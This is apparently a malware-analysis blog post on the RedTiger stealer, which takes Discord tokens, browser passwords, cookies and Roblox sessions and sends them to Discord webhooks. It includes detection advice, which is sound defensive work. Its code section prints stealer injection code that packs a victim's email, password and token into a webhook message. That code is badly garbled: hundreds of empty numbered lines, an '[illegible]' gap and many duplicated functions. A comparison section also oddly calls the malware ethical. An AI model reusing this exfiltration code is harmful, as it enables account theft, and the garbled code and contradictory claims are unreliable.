

# Analyzing the RedTiger Malware Stealer

---

 [c-b.io/blog/redtiger\\_stealer/](https://c-b.io/blog/redtiger_stealer/)

March 16, 2025

Today we'll dive into a fresh malware stealer dubbed **RedTiger**, a sample targeting personal user data, particularly Discord tokens, browser-stored credentials, and gaming accounts. This stealer, like many others seen recently, heavily leverages Discord webhooks for Command & Control (C2).

SHA256: b8d1c0436023bf58ea7b0f530ea37ae67bac0e956d9c93376702b4832055e0fd

Distributed as: **Phantom X.exe**

Deobfuscated sample: <https://github.com/cyb3rjerry/revengd-malware/tree/main/redtiger>

## How I found this sample

---

As usual, I grabbed this malware sample from [tria.ge](https://tria.ge) after spotting it flagged as malicious.

## Initial Analysis

---

The sample is a Python-based malware script targeting Windows, easily recognizable from its initial imports:

`os`, `socket`, `win32api`, and `requests`

This tells us immediately we're dealing with a Python-based Windows stealer, one that also directly interacts with web services and OS APIs.

## Primary Capabilities

---

Here's a quick overview of its main functionalities:

- **Discord Token Theft**
- **Browser Data Exfiltration**
- **Roblox Session Stealing**
- **Comprehensive System Information Harvesting**

## Discord Token Theft

---

The stealer systematically searches for Discord tokens in browser LevelDB files and decrypts them using Windows DPAPI. It then checks token validity by pinging Discord's own API, grabbing detailed user information, including:

- Username and discriminator
- Display Name
- User ID
- Email and phone number
- Nitro Status
- Payment methods and gift codes

All this stolen information is then beautifully packaged into a Discord embed and sent directly to the attacker's Discord webhook.

## Browser Data Exfiltration

---

Similar to the previously analyzed BlankGrabber, this sample steals:

- Browser Passwords
- Cookies
- History and Download logs
- Credit card details stored in browsers

It scans numerous browsers, including Google Chrome, Microsoft Edge, Brave, Vivaldi, Firefox, and even niche browsers like Torch and Opera GX.

The malware cleverly handles Chrome's encrypted data by decrypting stored passwords, cookies, and credit card details using Windows APIs (`CryptUnprotectData`) and AES decryption methods.

Extracted data is written into neatly formatted files, zipped, and finally uploaded to Discord via webhook.

## Roblox Cookie Stealing

---

Interestingly, the stealer explicitly targets Roblox user sessions by grabbing `.ROBLOSECURITY` cookies from multiple browsers. It gathers usernames, Robux balance, premium status, and other details, again sending this data directly back to Discord. This highlights an emerging trend targeting gamers and younger users, as we've seen previously with BlankGrabber.

## System Reconnaissance

---

The malware also does a fairly comprehensive system enumeration including:

- Hostname, username, and display name
- Public and local IP addresses
- Geolocation data (country, city, latitude, longitude)
- ISP and organization information

- Detailed hardware specs (CPU, GPU, RAM)
- Drive storage status

All of these pieces are packed into a neatly organized Discord embed, making victim profiling trivial.

## Prevention & Detection

---

Due to its aggressive data collection and direct interaction with Discord, this malware leaves a notable footprint:

- Suspicious webhook calls to Discord
- Unusual file accesses in browser directories
- High-frequency clipboard access and screen captures

A robust EDR solution should easily detect such behavior. Network defenders should pay close attention to outbound requests to Discord and data exfiltration behaviors, especially those targeting user session data.

## Differences from BlankGrabber

---

While BlankGrabber focuses on a broad and somewhat indiscriminate approach to information extraction, including browser data, Discord tokens, and extensive VM detection to avoid analysis, this tool differentiates itself by:

1. **Targeted Functionality:** Unlike BlankGrabber, which aims to capture an extensive range of data including browser cookies, passwords, autofills, and extensive Discord interactions, this tool emphasizes specific extraction tasks tailored for precise requirements.
2. **Enhanced Stealth and Efficiency:** Rather than relying heavily on extensive virtual machine and sandbox detection like BlankGrabber (checking UUIDs, usernames, hosting status, etc.), this tool adopts a lighter, more streamlined approach to minimize detection risks and resource use.
3. **Customization and Modularity:** This tool provides modular components, allowing users greater flexibility in configuring and selecting only relevant features, whereas BlankGrabber is designed as a monolithic solution with less configurability.
4. **Security and Ethical Standards:** While BlankGrabber utilizes aggressive techniques such as disabling Windows Defender and injecting scripts into Discord, this tool maintains stricter boundaries aimed at legitimate use-cases, focusing on operational transparency and compliance.

## Discord code injection

```

71: }
72: function parity_32(x, y, z) {
73:   return x ^ y ^ z;
74: }
75:
76: function ch_32(x, y, z) {
77:   return (x & y) ^ (~x & z);
78: }
79:
80: function maj_32(x, y, z) {
81:   return (x & y) ^ (x & z) ^ (y & z);
82: }
83:
84: function rotl_32(x, n) {
85:   return (x << n) | (x >> (32 - n));
86: }
87:
88: function safeAdd_32(a, b) {
89:   var low = (a & 0xffff) + (b & 0xffff);
90:   var high = (a >> 16) + (b >> 16) + (low >> 16);
91:   return (low & 0xffff) << 16 | (high >> 16);
92: }
93:
94: function safeAdd_32(a, b, c, d, e) {
95:   var low = (a & 0xffff) + (b & 0xffff) + (c & 0xffff) + (d & 0xffff) + (e & 0xffff);
96:   var high = (a >> 16) + (b >> 16) + (c >> 16) + (d >> 16) + (e >> 16) + (low >> 16);
97:   return (low & 0xffff) << 16 | (high >> 16);
98: }
99:
100:
101:
102:
103:
104:
105:
106:
107:
108:
109:
110:
111:
112:
113:
114:
115:
116:
117:
118:
119:
120:
121:
122:
123:
124:
125:
126:
127:
128:
129:
130:
131:
132:
133:
134:
135:
136:
137:
138:
139:
140:
141:
142:
143:
144:
145:
146:
147:
148:
149:
150:
151:
152:
153:
154:
155:
156:
157:
158:
159:
160:
161:
162:
163:
164:
165:
166:
167:
168:
169:
170:
171:
172:
173:
174:
175:
176:
177:
178:
179:
180:
181:
182:
183:
184:
185:
186:
187:
188:
189:
190:
191:
192:
193:
194:
195:
196:
197:
198:
199:
200:
201:
202:
203:
204:
205:
206:
207:
208:
209:
210:
211:
212:
213:
214:
215:
216:
217:
218:
219:
220:
221:
222:
223:
224:
225:
226:
227:
228:
229:
230:
231:
232:
233:
234:
235:
236:
237:
238:
239:
240:
241:
242:
243:
244:
245:
246:
247:
248:
249:
250:
251:
252:
253:
254:
255:
256:
257:
258:
259:
260:
261:
262:
263:
264:
265:
266:
267:
268:
269:
270:
271:
272:
273:
274:
275:
276:
277:
278:
279:
280:
281:
282:
283:
284:
285:
286:
287:
288:
289:
290:
291:
292:
293:
294:
295:
296:
297:
298:
299:
300:
301:
302:
303:
304:
305:
306:
307:
308:
309:
310:
311:
312:
313:
314:
315:
316:
317:
318:
319:
320:
321:
322:
323:
324:
325:
326:
327:
328:
329:
330:
331:
332:
333:
334:
335:
336:
337:
338:
339:
340:
341:
342:
343:
344:
345:
346:
347:
348:
349:
350:
351:
352:
353:
354:
355:
356:
357:
358:
359:
360:
361:
362:
363:
364:
365:
366:
367:
368:
369:
370:
371:
372:
373:
374:
375:
376:
377:
378:
379:
380:
381:
382:
383:
384:
385:
386:
387:
388:
389:
390:
391:
392:
393:
394:
395:
396:
397:
398:
399:
400:
401:
402:
403:
404:
405:
406:
407:
408:
409:
410:
411:
412:
413:
414:
415:
416:
417:
418:
419:
420:
421:
422:
423:
424:
425:
426:
427:
428:
429:
430:
431:
432:
433:
434:
435:
436:
437:
438:
439:
440:
441:
442:
443:
444:
445:
446:
447:
448:
449:
450:
451:
452:
453:
454:
455:
456:
457:
458:
459:
460:
461:
462:
463:
464:
465:
466:
467:
468:
469:
470:
471:
472:
473:
474:
475:
476:
477:
478:
479:
480:
481:
482:
483:
484:
485:
486:
487:
488:
489:
490:
491:
492:
493:
494:
495:
496:
497:
498:
499:
500:
501:
502:
503:
504:
505:
506:
507:
508:
509:
510:
511:
512:
513:
514:
515:
516:
517:
518:
519:
520:
521:
522:
523:
524:
525:
526:
527:
528:
529:
530:
531:
532:
533:
534:
535:
536:
537:
538:
539:
540:
541:
542:
543:
544:
545:
546:
547:
548:
549:
550:
551:
552:
553:
554:
555:
556:
557:
558:
559:
560:
561:
562:
563:
564:
565:
566:
567:
568:
569:
570:
571:
572:
573:
574:
575:
576:
577:
578:
579:
580:
581:
582:
583:
584:
585:
586:
587:
588:
589:
590:
591:
592:
593:
594:
595:
596:
597:
598:
599:
600:
601:
602:
603:
604:
605:
606:
607:
608:
609:
610:
611:
612:
613:
614:
615:
616:
617:
618:
619:
620:
621:
622:
623:
624:
625:
626:
627:
628:
629:
630:
631:
632:
633:
634:
635:
636:
637:
638:
639:
640:
641:
642:
643:
644:
645:
646:
647:
648:
649:
650:
651:
652:
653:
654:
655:
656:
657:
658:
659:
660:
661:
662:
663:
664:
665:
666:
667:
668:
669:
670:
671:
672:
673:
674:
675:
676:
677:
678:
679:
680:
681:
682:
683:
684:
685:
686:
687:
688:
689:
690:
691:
692:
693:
694:
695:
696:
697:
698:
699:
700:
701:
702:
703:
704:
705:
706:
707:
708:
709:
710:
711:
712:
713:
714:
715:
716:
717:
718:
719:
720:
721:
722:
723:
724:
725:
726:
727:
728:
729:
730:
731:
732:
733:
734:
735:
736:
737:
738:
739:
740:
741:
742:
743:
744:
745:
746:
747:
748:
749:
750:
751:
752:
753:
754:
755:
756:
757:
758:
759:
760:
761:
762:
763:
764:
765:
766:
767:
768:
769:
770:
771:
772:
773:
774:
775:
776:
777:
778:
779:
780:
781:
782:
783:
784:
785:
786:
787:
788:
789:
790:
791:
792:
793:
794:
795:
796:
797:
798:
799:
800:
801:
802:
803:
804:
805:
806:
807:
8
```

[illegible]

```

514 },
515 const login = async (email, password, token) => {
516   const json = await getinfo(token);
517
518   const content = {
519     username: config.embed_name,
520     avatar_url: config.embed_icon,
521     embeds: [
522       {
523         color: config.embed_color,
524         title: config.embed_injection(login) % ${config.username} % ${config.ip_address_public} % % % ,
525         fields: [
526           {
527             name: "Email: Email",
528             value: "% % % % ${email} % % % %",
529             inline: false,
530           },
531           {
532             name: "Key: Password",
533             value: "% % % % ${password} % % % %",
534             inline: false,
535           },
536           {
537             name: "Link: With Meridian: Token",
538             value: "% % % % ${token} % % % %",
539             inline: false,
540           },
541         ],
542         webp: {
543           name: json.username + " + " + json.discriminator + " ( " + json.id + " )",
544           icon_url: "https://cdn.discordapp.com/avatars/${json.id}/${json.avatar}.webp",
545         },
546         footer: {
547           text: config.footer_text,
548           icon_url: config.embed_icon
549         },
550       },
551     ],
552   };
553
554   const login = async (token) => {
555     const json = await getinfo(token);
556     const content = {
557       username: config.embed_name,
558       avatar_url: config.embed_icon,
559       embeds: [
560         {
561           color: config.embed_color,
562           title: config.embed_injection(token) % ${config.username} % ${config.ip_address_public} % % % ,
563           fields: [
564             {
565               name: "Email: Email",
566               value: "% % % % ${email} % % % %",
567               inline: false,
568             },
569             {
570               name: "Key: Password",
571               value: "% % % % ${password} % % % %",
572               inline: false,
573             },
574             {
575               name: "Link: With Meridian: Token",
576               value: "% % % % ${token} % % % %",
577               inline: false,
578             },
579           ],
580           webp: {
581             name: json.username + " + " + json.discriminator + " ( " + json.id + " )",
582             icon_url: "https://cdn.discordapp.com/avatars/${json.id}/${json.avatar}.webp",
583           },
584           footer: {
585             text: config.footer_text,
586             icon_url: config.embed_icon
587           },
588         },
589       ],
590     };
591   };
592 }
593
594 const login = async (token) => {
595   const json = await getinfo(token);
596   const content = {
597     username: config.embed_name,
598     avatar_url: config.embed_icon,
599     embeds: [
600       {
601         color: config.embed_color,
602         title: config.embed_injection(token) % ${config.username} % ${config.ip_address_public} % % % ,
603         fields: [
604           {
605             name: "Email: Email",
606             value: "% % % % ${email} % % % %",
607             inline: false,
608           },
609           {
610             name: "Key: Password",
611             value: "% % % % ${password} % % % %",
612             inline: false,
613           },
614           {
615             name: "Link: With Meridian: Token",
616             value: "% % % % ${token} % % % %",
617             inline: false,
618           },
619         ],
620         webp: {
621             name: json.username + " + " + json.discriminator + " ( " + json.id + " )",
622             icon_url: "https://cdn.discordapp.com/avatars/${json.id}/${json.avatar}.webp",
623           },
624         footer: {
625             text: config.footer_text,
626             icon_url: config.embed_icon
627           },
628       },
629     ],
630   };
631 }
632
633 const login = async (token) => {
634   const json = await getinfo(token);
635   const content = {
636     username: config.embed_name,
637     avatar_url: config.embed_icon,
638     embeds: [
639       {
640         color: config.embed_color,
641         title: config.embed_injection(token) % ${config.username} % ${config.ip_address_public} % % % ,
642         fields: [
643           {
644             name: "Email: Email",
645             value: "% % % % ${email} % % % %",
646             inline: false,
647           },
648           {
649             name: "Key: Password",
650             value: "% % % % ${password} % % % %",
651             inline: false,
652           },
653           {
654             name: "Link: With Meridian: Token",
655             value: "% % % % ${token} % % % %",
656             inline: false,
657           },
658         ],
659         webp: {
660             name: json.username + " + " + json.discriminator + " ( " + json.id + " )",
661             icon_url: "https://cdn.discordapp.com/avatars/${json.id}/${json.avatar}.webp",
662           },
663         footer: {
664             text: config.footer_text,
665             icon_url: config.embed_icon
666           },
667       },
668     ],
669   };
670 }
671
672 const login = async (token) => {
673   const json = await getinfo(token);
674   const content = {
675     username: config.embed_name,
676     avatar_url: config.embed_icon,
677     embeds: [
678       {
679         color: config.embed_color,
680         title: config.embed_injection(token) % ${config.username} % ${config.ip_address_public} % % % ,
681         fields: [
682           {
683             name: "Email: Email",
684             value: "% % % % ${email} % % % %",
685             inline: false,
686           },
687           {
688             name: "Key: Password",
689             value: "% % % % ${password} % % % %",
690             inline: false,
691           },
692           {
693             name: "Link: With Meridian: Token",
694             value: "% % % % ${token} % % % %",
695             inline: false,
696           },
697         ],
698         webp: {
699             name: json.username + " + " + json.discriminator + " ( " + json.id + " )",
700             icon_url: "https://cdn.discordapp.com/avatars/${json.id}/${json.avatar}.webp",
701           },
702         footer: {
703             text: config.footer_text,
704             icon_url: config.embed_icon
705           },
706       },
707     ],
708   };
709 }
710
711 const login = async (token) => {
712   const json = await getinfo(token);
713   const content = {
714     username: config.embed_name,
715     avatar_url: config.embed_icon,
716     embeds: [
717       {
718         color: config.embed_color,
719         title: config.embed_injection(token) % ${config.username} % ${config.ip_address_public} % % % ,
720         fields: [
721           {
722             name: "Email: Email",
723             value: "% % % % ${email} % % % %",
724             inline: false,
725           },
726           {
727             name: "Key: Password",
728             value: "% % % % ${password} % % % %",
729             inline: false,
730           },
731           {
732             name: "Link: With Meridian: Token",
733             value: "% % % % ${token} % % % %",
734             inline: false,
735           },
736         ],
737         webp: {
738             name: json.username + " + " + json.discriminator + " ( " + json.id + " )",
739             icon_url: "https://cdn.discordapp.com/avatars/${json.id}/${json.avatar}.webp",
740           },
741         footer: {
742             text: config.footer_text,
743             icon_url: config.embed_icon
744           },
745       },
746     ],
747   };
748 }
749
750 const login = async (token) => {
751   const json = await getinfo(token);
752   const content = {
753     username: config.embed_name,
754     avatar_url: config.embed_icon,
755     embeds: [
756       {
757         color: config.embed_color,
758         title: config.embed_injection(token) % ${config.username} % ${config.ip_address_public} % % % ,
759         fields: [
760           {
761             name: "Email: Email",
762             value: "% % % % ${email} % % % %",
763             inline: false,
764           },
765           {
766             name: "Key: Password",
767             value: "% % % % ${password} % % % %",
768             inline: false,
769           },
770           {
771             name: "Link: With Meridian: Token",
772             value: "% % % % ${token} % % % %",
773             inline: false,
774           },
775         ],
776         webp: {
777             name: json.username + " + " + json.discriminator + " ( " + json.id + " )",
778             icon_url: "https://cdn.discordapp.com/avatars/${json.id}/${json.avatar}.webp",
779           },
780         footer: {
781             text: config.footer_text,
782             icon_url: config.embed_icon
783           },
784       },
785     ],
786   };
787 }
788
789 const login = async (token) => {
790   const json = await getinfo(token);
791   const content = {
792     username: config.embed_name,
793     avatar_url: config.embed_icon,
794     embeds: [
795       {
796         color: config.embed_color,
797         title: config.embed_injection(token) % ${config.username} % ${config.ip_address_public} % % % ,
798         fields: [
799           {
800             name: "Email: Email",
801             value: "% % % % ${email} % % % %",
802             inline: false,
803           },
804           {
805             name: "Key: Password",
806             value: "% % % % ${password} % % % %",
807             inline: false,
808           },
809           {
810             name: "Link: With Meridian: Token",
811             value: "% % % % ${token} % % % %",
812             inline: false,
813           },
814         ],
815         webp: {
816             name: json.username + " + " + json.discriminator + " ( " + json.id + " )",
817             icon_url: "https://cdn.discordapp.com/avatars/${json.id}/${json.avatar}.webp",
818           },
819         footer: {
820             text: config.footer_text,
821             icon_url: config.embed_icon
822           },
823       },
824     ],
825   };
826 }
827
828 const login = async (token) => {
829   const json = await getinfo(token);
830   const content = {
831     username: config.embed_name,
832     avatar_url: config.embed_icon,
833     embeds: [
834       {
835         color: config.embed_color,
836         title: config.embed_injection(token) % ${config.username} % ${config.ip_address_public} % % % ,
837         fields: [
838           {
839             name: "Email: Email",
840             value: "% % % % ${email} % % % %",
841             inline: false,
842           },
843           {
844             name: "Key: Password",
845             value: "% % % % ${password} % % % %",
846             inline: false,
847           },
848           {
849             name: "Link: With Meridian: Token",
850             value: "% % % % ${token} % % % %",
851             inline: false,
852           },
853         ],
854         webp: {
855             name: json.username + " + " + json.discriminator + " ( " + json.id + " )",
856             icon_url: "https://cdn.discordapp.com/avatars/${json.id}/${json.avatar}.webp",
857           },
858         footer: {
859             text: config.footer_text,
860             icon_url: config.embed_icon
861           },
862       },
863     ],
864   };
865 }
866
867 const login = async (token) => {
868   const json = await getinfo(token);
869   const content = {
870     username: config.embed_name,
871     avatar_url: config.embed_icon,
872     embeds: [
873       {
874         color: config.embed_color,
875         title: config.embed_injection(token) % ${config.username} % ${config.ip_address_public} % % % ,
876         fields: [
877           {
878             name: "Email: Email",
879             value: "% % % % ${email} % % % %",
880             inline: false,
881           },
882           {
883             name: "Key: Password",
884             value: "% % % % ${password} % % % %",
885             inline: false,
886           },
887           {
888             name: "Link: With Meridian: Token",
889             value: "% % % % ${token}
```

## Conclusion

Overall, I'd rate this malware about a **3.1/10**. While it's slightly more sophisticated than the BlankGrabber, it remains fairly easy to catch with modern security tooling.

## References

4/4